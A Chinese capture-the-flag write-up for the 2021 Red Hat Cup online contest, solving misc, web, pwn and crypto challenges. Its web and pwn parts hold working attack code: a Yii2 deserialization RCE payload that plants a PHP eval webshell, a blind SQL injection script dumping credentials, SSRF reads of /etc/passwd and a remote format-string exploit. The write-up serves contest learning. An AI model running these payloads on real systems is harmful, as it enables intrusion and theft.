2021第四届红帽杯网络安全大赛-线上赛Writeup

文章目录

  • MISC
    • 签到
    • colorful code
    • PicPic
  • WEB
    • find_it
    • framework
    • WebsiteManger
    • ezlight
  • PWN
    • parser
  • CRYPTO
    • primegame


记录一下被锤爆的一天…orz

MISC

签到

2021第四届红帽杯网络安全大赛-线上赛Writeup_第1张图片
签到抢了个二血2333,第一次拿二血呜呜呜,虽然是签到,还是很激动。

附件名称叫EBCDIC.zip

010Editor直接选择EBCDIC编码
2021第四届红帽杯网络安全大赛-线上赛Writeup_第2张图片
2021第四届红帽杯网络安全大赛-线上赛Writeup_第3张图片

flag{we1c0me_t0_redhat2021}

colorful code

2021第四届红帽杯网络安全大赛-线上赛Writeup_第4张图片
这题可惜了,当我想出来怎么做的时候,已经没有时间来写脚本了…

首先题目名称提示:colorful code,这点当时第一时间想到了前段时间安恒赛misc有一题colorful porgramming
2021第四届红帽杯网络安全大赛-线上赛Writeup_第5张图片
colorful porgramming详情见:https://www.bertnase.de/npiet/

附件中data1是文本文件,data2是数据文件,用hexdump查看如下
2021第四届红帽杯网络安全大赛-线上赛Writeup_第6张图片
data1中是0-19的数字,用空格分开。也看不出什么别的(当时在这浪费了比较多的时间)。
2021第四届红帽杯网络安全大赛-线上赛Writeup_第7张图片
data1暂时也看不出来和图片有什么关系,所以图片的线索在data2

咋一看也和图片没什关系,但是当我们将每一个字节的十六进制转换成RGB十进制,三个一组

from binascii import *

with open('data2','rb') as f:
    f = hexlify(f.read()).decode()
    n = 0
    color_list = []
    for i in range(0,len(f),2):
        i = f[i:i+2]
        color_list.append(int(i,16))
        n += 1
        if n == 3:
            print(tuple(color_list))
            color_list = []
            n = 0
        else:
            continue

运行结果

PS C:\Users\Administrator\Downloads\colorful_code-1> python .\code.py
(0, 0, 0)
(0, 0, 192)
(0, 255, 255)
(0, 255, 0)
(255, 192, 255)
(255, 192, 192)
(192, 192, 255)
(192, 192, 0)
(255, 0, 255)
(255, 0, 0)
(192, 0, 0)
(192, 0, 192)
(255, 255, 255)
(255, 255, 0)
(255, 255, 192)
(0, 192, 0)
(0, 192, 192)
(192, 255, 255)
(192, 255, 192)
(0, 0, 255)
(20, 20, 20)
(21, 21, 21)
(22, 22, 22)
(23, 23, 23)
(24, 24, 24)
(25, 25, 25)
.......
(250, 250, 250)
(251, 251, 251)
(252, 252, 252)
(253, 253, 253)
(254, 254, 254)
(255, 255, 255)

很明显,前20组数据和后面的数据不太一样。然后联想到前面data1中只有0-19的数字,猜测data10-19应该是对应data2种这二十组像素数据的下标。

OK,那么思路到这里就很清楚了。我们将这二十组RGB像素,按照data1中的顺序,将这些像素putpixel()即可。

思考到这里的时候还有最后一个问题,那就是生成的图片的宽高。要知道宽高,我们首先要知道图片的总像素,总像素,直接计算下data1中有多少个0-19数字。

Python简单处理

def str2list():
    with open('data1.txt') as f:
        f = f.read()
        index_list = f.split(' ')
        return index_list

print(str2list())
print(len(str2list()))


这里需要注意,因为data1最后有两个空格,所以会切多一个元素出来,去掉即可。所以这里总像素是:7067

7067看起来不像是一个比较常见的图片总像素数,不太好计算,直接在线分解质因数得到宽高

分解质因数:http://tools.jb51.net/jisuanqi/factor_calc

2021第四届红帽杯网络安全大赛-线上赛Writeup_第8张图片
就先推测宽为: 37,高为: 191

OK,接下来直接Python简单处理下即可得到flag.png

# -*- coding:utf-8 -*-
# Author: mochu7
import PIL
from PIL import Image
from binascii import *

def str2list():
    with open('data1.txt') as f:
        f = f.read()
        index_list = f.split(' ')
        return index_list

def num2color():
    with open('data2','rb') as f:
        f = hexlify(f.read()).decode()
        n = 0
        idx = 0
        color_dic = {
     }
        color_list = []
        for i in range(0,len(f),2):
            i = f[i:i+2]
            color_list.append(int(i,16))
            n += 1
            if n == 3:
                color_dic[idx] = tuple(color_list)
                color_list = []
                n = 0
                idx += 1
            elif idx == 20:
                break
    return color_dic

def genimg():
    width, height = 37, 191
    img = Image.new("RGB",(width,height))
    imgpixels = str2list()
    colorlist = num2color()
    pixlist = []
    for pix in imgpixels:
        pixlist.append(colorlist[int(pix)])
    idx = 0
    for w in range(width):
        for h in range(height):
            img.putpixel([w,h], pixlist[idx])
            idx += 1
    img.save('flag.png')


if __name__ == '__main__':
    # print(len(str2list()))
    # print(num2color())
    genimg()

2021第四届红帽杯网络安全大赛-线上赛Writeup_第9张图片
npiet online:https://www.bertnase.de/npiet/npiet-execute.php

2021第四届红帽杯网络安全大赛-线上赛Writeup_第10张图片
得到flag

flag{88842f20-fb8c-45c9-ae8f-36135b6a0f11}

PicPic

待复现…

WEB

find_it

2021第四届红帽杯网络安全大赛-线上赛Writeup_第11张图片
2021第四届红帽杯网络安全大赛-线上赛Writeup_第12张图片
目录扫描发现robots.txt
2021第四届红帽杯网络安全大赛-线上赛Writeup_第13张图片
存在1ndexx.php,直接访问并没有什么信息。猜测存在vim备份文件
访问view-source:http://eci-2zefc95c45rhg0wuefre.cloudeci1.ichunqiu.com/.1ndexx.php.swp拿到源码

 $link = mysql_connect('localhost', 'root'); ?>
<html>
<head>
	<title>Hello worldd!</title>
	<style>
	body {
     
		background-color: white;
		text-align: center;
		padding: 50px;
		font-family: "Open Sans","Helvetica Neue",Helvetica,Arial,sans-serif;
	}

	#logo {
     
		margin-bottom: 40px;
	}
	</style>
</head>
<body>
	<img id="logo" src="logo.png" />
	<h1> echo "Hello My freind!"; ?></h1>
	 if($link) {
      ?>
		<h2>I Can't view my php files?!
	
		

MySQL Server version:

code']; if(preg_match('/system|eval|exec|base|compress|chr|ord|str|replace|pack|assert|preg|replace|create|function|call|\~|\^|\`|flag|cat|tac|more|tail|echo|require|include|proc|open|read|shell|file|put|get|contents|dir|link|dl|var|dump/',$a)){ die("you die"); } if(strlen($a)>33){ die("nonono."); } fwrite($hack,$a); fwrite($hack,$I_know_you_wanna_but_i_will_not_give_you_hhh); fclose($file); fclose($hack); ?>

正则没有忽略大小写,本来是怎么想办法怎么绕过disable_functionflag.php的,但是写入查看phpinfo()的时候发现

/index.php?code=phpinfo();?>

访问hack.php
发现flag被记录进了phpinfo的全局变量里,送分了
2021第四届红帽杯网络安全大赛-线上赛Writeup_第14张图片
这题应该非预期了

framework

2021第四届红帽杯网络安全大赛-线上赛Writeup_第15张图片
2021第四届红帽杯网络安全大赛-线上赛Writeup_第16张图片
Yii框架,目录扫描发现www.zip
2021第四届红帽杯网络安全大赛-线上赛Writeup_第17张图片
源码中简单看了下,知道这是Yii2框架,搜索引擎找一下如何查看Yii2的版本
2021第四届红帽杯网络安全大赛-线上赛Writeup_第18张图片
本地调试,在web/index.php中添加一行echo Yii::getVersion();
2021第四届红帽杯网络安全大赛-线上赛Writeup_第19张图片
2021第四届红帽杯网络安全大赛-线上赛Writeup_第20张图片
得到当前版本信息:2.0.32

搜索引擎找这个版本或者更高版本的漏洞

最后发现是一个CVE-2020-15148的反序列化RCE

网上相关利用文章很多,我参考的是以下两篇:

  • https://anquan.baidu.com/article/1260
  • https://0xkami.top/2020/10/26/0x08cve-2020-15148-Yii2反序列化漏洞复现/

2021第四届红帽杯网络安全大赛-线上赛Writeup_第21张图片
2021第四届红帽杯网络安全大赛-线上赛Writeup_第22张图片

/index.php?r=site/about&message=GET%20/r=site/about&message=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6NzoicGhwaW5mbyI7czoyOiJpZCI7czoxOiIxIjt9aToxO3M6MzoicnVuIjt9fX19

得到一个不完整的phpinfo
2021第四届红帽杯网络安全大赛-线上赛Writeup_第23张图片
之后测试的时候,发现systemeval之类的一些函数好像都没有效果,猜测可能设置了disable_functions

不过最后发现assert能用、file_put_contents()也能用


namespace yii\rest{
     
    class CreateAction{
     
        public $checkAccess;
        public $id;

        public function __construct(){
     
            $this->checkAccess = 'assert';
            $this->id = 'file_put_contents(\'mochu7.php\',\'\');';
        }
    }
}

namespace Faker{
     
    use yii\rest\CreateAction;

    class Generator{
     
        protected $formatters;

        public function __construct(){
     
            $this->formatters['close'] = [new CreateAction(), 'run'];
        }
    }
}

namespace yii\db{
     
    use Faker\Generator;

    class BatchQueryResult{
     
        private $_dataReader;

        public function __construct(){
     
            $this->_dataReader = new Generator;
        }
    }
}
namespace{
     
    echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>
/index.php?r=site/about&message=GET%20/r=site/about&message=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6NjoiYXNzZXJ0IjtzOjI6ImlkIjtzOjU5OiJmaWxlX3B1dF9jb250ZW50cygnbW9jaHU3LnBocCcsJzw/cGhwIGV2YWwoJF9QT1NUWzddKTs/PicpOyI7fWk6MTtzOjM6InJ1biI7fX19fQ==

2021第四届红帽杯网络安全大赛-线上赛Writeup_第24张图片
上蚁剑,用插件。
phpinfo的信息显示这里是Apache/2.4.6 (CentOS) PHP/5.6.40
选择Apache_mod_cgi
2021第四届红帽杯网络安全大赛-线上赛Writeup_第25张图片

WebsiteManger

2021第四届红帽杯网络安全大赛-线上赛Writeup_第26张图片
2021第四届红帽杯网络安全大赛-线上赛Writeup_第27张图片
查看源码
2021第四届红帽杯网络安全大赛-线上赛Writeup_第28张图片
图片的id貌似是跟数据库存在交互的
2021第四届红帽杯网络安全大赛-线上赛Writeup_第29张图片
长度177的都是被过滤的关键字

布尔盲注

/image.php?id=if(1=1,1,5)	True
/image.php?id=if(1=2,1,5)	False

条件为真时?id=1,回显第一张图片,条件为假时?id=5,没有id=5的图片,什么都没有。即可作为布尔盲注判断条件

编写简单的Python盲注脚本

import string
from requests import *

allstr = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\]^_`{|}~'

myurl = 'http://eci-2ze8j3xqhbs4y2thbqra.cloudeci1.ichunqiu.com/image.php'

info = ''
for i in range(1,50):
    for s in allstr:
        payload = '?id=if((ascii(mid(database(),{},1))={}),1,5)'.format(i,ord(s))
        resp = get(url=myurl+payload)
        if len(resp.text) > 4000:
             info += s
             print(info)
payload = '?id=if((ascii(mid(database(),{},1))={}),1,5)'.format(i,ord(s))

payload = '?id=if(ascii(mid((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=\'ctf\'),{},1))={},1,5)'.format(i,ord(s))

payload = '?id=if(ascii(mid((select/**/group_concat(username,password)/**/from/**/ctf.users),{},1))={},1,5)'.format(i,ord(s))

注入查询到信息

Current_database: ctf

Tables_in_ctf: images,users

Columns_in_users: username,password

2021第四届红帽杯网络安全大赛-线上赛Writeup_第30张图片
得到账户admin,密码441cc8327a306b48b7a32

登录admin
2021第四届红帽杯网络安全大赛-线上赛Writeup_第31张图片
curl.php这里应该存在SSRF

尝试file://协议去读文件

file:///etc/passwd

2021第四届红帽杯网络安全大赛-线上赛Writeup_第32张图片
2021第四届红帽杯网络安全大赛-线上赛Writeup_第33张图片
直接读file:///flag
2021第四届红帽杯网络安全大赛-线上赛Writeup_第34张图片

ezlight

下面到了膜大佬时刻
orz…orz…orz…orz…orz…orz…orz…
Y1ngyyds!!!
https://www.gem-love.com/websecurity/2763.html


以下是队友的wp存放处,并不是本人写的,本人是个只会做Web&Misc的菜鸟

PWN

parser

2021第四届红帽杯网络安全大赛-线上赛Writeup_第35张图片
主要是逆向工作,理清楚合法输入后就是简单的不限次数的格式化字符串。
在这里插入图片描述

from pwn import *

context.log_level = True
context.arch = "amd64"

#p = process("./pwn")
p = remote("47.105.94.48", 12435)

gadget_addr = [0x4f365, 0x4f3c2, 0x10a45c]

p.recvuntil("> ")
payload = b"GET /test HTTP/1.0\nContent-Length:-1\n\n%15$p*%8$p*"
p.sendline(payload)
base_addr = int(p.recvuntil("*")[:-1], 16) - 0x14a8
stack_addr = int(p.recvuntil("*")[:-1], 16) + (0x7fffffffddd8 - 0x7fffffffd830)
log.info("base_addr: " + hex(base_addr))
log.info("stack_addr: " + hex(stack_addr))

p.recvuntil("> ")
payload = b"GET /test HTTP/1.0\nContent-Length:-1\n\n%22$saaaaa" + \
    p64(base_addr + 0x201F90)
p.sendline(payload)
libc_base = u64(p.recv(6).ljust(8, b"\x00")) - 0x110180
log.info("libc_base: " + hex(libc_base))
gadget_addr = libc_base + 0x10a45c
log.info("gadget_addr: " + hex(gadget_addr))

#gdb.attach(p, "b* 0x55555555537d\nb* 0x55555555539c\nb* 0x555555555634")
p.recvuntil("> ")
payload = b"GET /test HTTP/1.0\nContent-Length:-1\n\n11" + \
    fmtstr_payload(0x59, {
     stack_addr: gadget_addr}, 2, "short")
p.sendline(payload)

p.recvuntil("> ")
payload = b"getshell"
p.sendline(payload)

p.interactive()

CRYPTO

primegame

2021第四届红帽杯网络安全大赛-线上赛Writeup_第36张图片
背包问题

import math
from decimal import *
import random


getcontext().prec = int(100)

primes = [2]
for i in range(3, 90):
    f = True
    for j in primes:
        if i * i < j:
            break
        if i % j == 0:
            f = False
            break
    if f:
        primes.append(i)

keys = []
for i in range(len(primes)):
    keys.append(Decimal(int(primes[i])).ln())

arr = []
for v in keys:
    arr.append(int(v * int(16) ** int(64)))

ct = 425985475047781336789963300910446852783032712598571885345660550546372063410589918


def encrypt(res):
    h = Decimal(int(0))
    for i in range(len(keys)):
        h += res[i] * keys[i]

    ct = int(h * int(16)**int(64))
    return ct


def f(N):
    ln = len(arr)
    A = Matrix(ZZ, ln + 1, ln + 1)
    for i in range(ln):
        A[i, i] = 1
        A[i, ln] = arr[i] // N
        A[ln, i] = 64

    A[ln, ln] = ct // N

    res = A.LLL()

    for i in range(ln + 1):
        flag = True
        for j in range(ln):
            if -64 <= res[i][j] < 64:
                continue
            flag = False
            break
        if flag:
            vec = [int(v + 64) for v in res[i][:-1]]
            ret = encrypt(vec)
            if ret == ct:
                print(N, bytes(vec))


for i in range(2, 10000):
    print(i)
    f(i)

你可能感兴趣的:(CTF_WEB_Writeup,2021redhat,第四届红帽杯,Writeup)